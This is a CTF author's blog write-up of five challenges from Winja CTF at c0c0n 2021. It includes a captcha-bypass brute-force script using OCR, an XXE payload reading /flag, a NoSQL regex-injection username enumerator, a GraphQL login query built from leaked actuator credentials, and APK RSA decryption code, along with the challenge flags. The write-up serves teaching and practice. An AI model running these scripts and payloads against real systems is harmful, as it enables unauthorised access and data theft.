Hi there!
This blog contains the write-up for 1 android and 4 web challenges which I created for Winja CTF for the c0c0n 2021 event.
This was my first time creating the CTF challenges.
Hope you had fun/learned something new while solving the challenges.
Thanks to Riddhi for giving me the opportunity.
Web Challenges
Cha-Cha-Cha(Captcha Bypass)
- In this Challenge, user was given a login page with top 100 lists of username and password.
- Username and password(which was same as username) was changing every 3 min from the given list.
- This challenge was all about bypassing the simple captcha using OCR tools like tesseract.
- Below is the payload in python for solving the challenge.
import requests as req
import subprocess
def getCaptcha(session):
res = session.get("http://localhost:8080/captcha")
file = open("captcha.jpeg","wb")
file.write(res.content)
file.close()
subprocess.run(["tesseract","./captcha.jpeg","./test"])
file = open("./test.txt","r")
captchaString = file.read()
file.close()
print(captchaString.strip())
return captchaString.strip()
def login():
file = open("./top100usernames.txt","r")
for userName in file.readlines():
session = req.Session()
captcha = getCaptcha(session)
data = {'userName':userName.strip(),'password':userName.strip(),'captcha':captcha}
res = session.post("http://localhost:8080/submit",data)
serverResponse = res.text
#print("Home" in serverResponse)
if("Home" in serverResponse):
print("Got the Creds")
print(userName)
break
- After getting logged in to the account, flag was in the source code of the home page.
- Ref: https://www.bugcrowd.com/blog/guest-blog-breaking-bugcrowds-captcha-pwndizzle/
- Flag: Flag{mSRQn7vjmiBSCBFuVJKd_not_so_effective_captcha}
MyProfile(XXE)
- On visiting the link of the chall, there was one user details(username:p3n7a90n,age:21, and some other fields) on the home page and the below hint in the source code.
<!-- Todo: Adding UI Change for loading the profile details uploaded publicly in XML format via query param-->
- User had to use paramminer or a similar tool to guess the param which was profile.
- After guessing the param, user had to search for publically hosted XML profile details which were getting loaded on the home page.
- Below is the publically hosted gist on github p3n7a9on account which was getting used. https://gist.githubusercontent.com/p3n7a90n/2aa9e9f71df33da9b47aa64f88a7cd93/raw/62c68828306b9879c4a6274a481d9bc68a7ee178/profile.xml
<ProfileDetails>
<name>p3n7a90n</name>
<age>21</age>
<experience>1</experience>
<country>IN</country>
<location>localhost</location>
<email>localhost</email>
<phone>12345</phone>
<freelance>Available</freelance>
</ProfileDetails>
- Now the user had to host their malicious XML publically and pass the link to the profile param.
- Below is the XXE payload to retrieve the flag.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "/flag">
]>
<ProfileDetails>
<name>&xxe;</name>
<age>21</age>
<experience>1</experience>
<country>IN</country>
<location>localhost</location>
<email>test@gmail.com</email>
<phone>12345</phone>
<freelance>Available</freelance>
</ProfileDetails>
- Ref: https://p3n7a90n.github.io/blogs/xxe/
- Flag: Flag{TuwVuMnFzBeKesam27by_so_you_know_XXE}
1NoCLI(NoSqli)
- On visiting the chall link, user got a sign-in page and a hint that the site is powered by MongoDB and express.
- Sign-in Page was vulnerable to Nosqli using $regex for pattern matching.
- username: enumerating the username using the above vuln.
- password: same as the username
- Below is the payload in python for enumerating the username.
import requests
import string
charset = string.ascii_lowercase
def test_email(email):
print("trying this..."+email)
content = requests.post('http://localhost:4444/admin/login', json={'username': {'$regex': '^' + email}, 'password': 'asdf'}).content
#print(b'Access Denied.Please try again.' in content)
return b'Access Denied.Please try again.' in content
def get(prefix=''):
# check if a prefix is a full email in the database
if test_email(prefix + "$"):
print("Found Username: "+prefix)
exit(0)
for c in charset:
if test_email(prefix + c):
get(prefix + c)
get()
- Ref: express-cart-vuln-1.1.7
- Flag: Flag{txSw0A9r68q5IkeFtGO5_nosqli_is_fun}
MissConfig(Spring actuator endpoint and graphql playground library)
- On visiting the chall link, there was a hint that we are trying out the latest technologies to fetch the data seamlessly.
- The hint was to direct the user to think towards graphql.
- User had to enumerate diff endpoint related to graphql using wordlists like SecLists.
- Project was using the playground library(/playground) for the graphql.
- After looking into the schema, it was accepting the username and password to get the details of the user.
- User had to enumerate the spring actuator info endpoint(/actuator/info) to get the username and password.
- Flag was stored in the desc part of the user.
- Below is the query for retrieving the details of the user.
query{
login(username:"hoyChANcEN",password:"UleTHEMBAtuLzAr")
{
username
password
Desc
role
}
}
-
Ref:
-
Flag: Flag{3StvZstqDjLH15ZAaeSa_graphql_is_good}
Android Challenge
Andromeda(Reverse)
- On visiting the challenge, there was a link to download the apk.
- User had to decompile the app using jadx or any other decompiler.
- When the user enters the flag in the app, it gets encrypted with the RSA Stored key and matches with the existing encrypted value.
- After looking into the decompiled java code, below is the method responsible for decrypting the key.
public String decryptWithRSA(String data, Key privateKey) {
try {
Cipher cipher = Cipher.getInstance("RSA/ECB/NoPadding");
cipher.init(2, privateKey);
return new String(cipher.doFinal(Base64.decode(data, 0)));
} catch (Exception e) {
Log.e("Decryption Exception", "Something wrong with the Decryption", e);
return null;
}
}
-
User had to pass the stored private key and the encrypted flag in the above method to get the plain text.
-
Flag: Flag{cyWanLv2d08dETGnEqoR_easy_reversing}
Feel free to drop any suggestions in the comments section.
Thanks for reading!!!.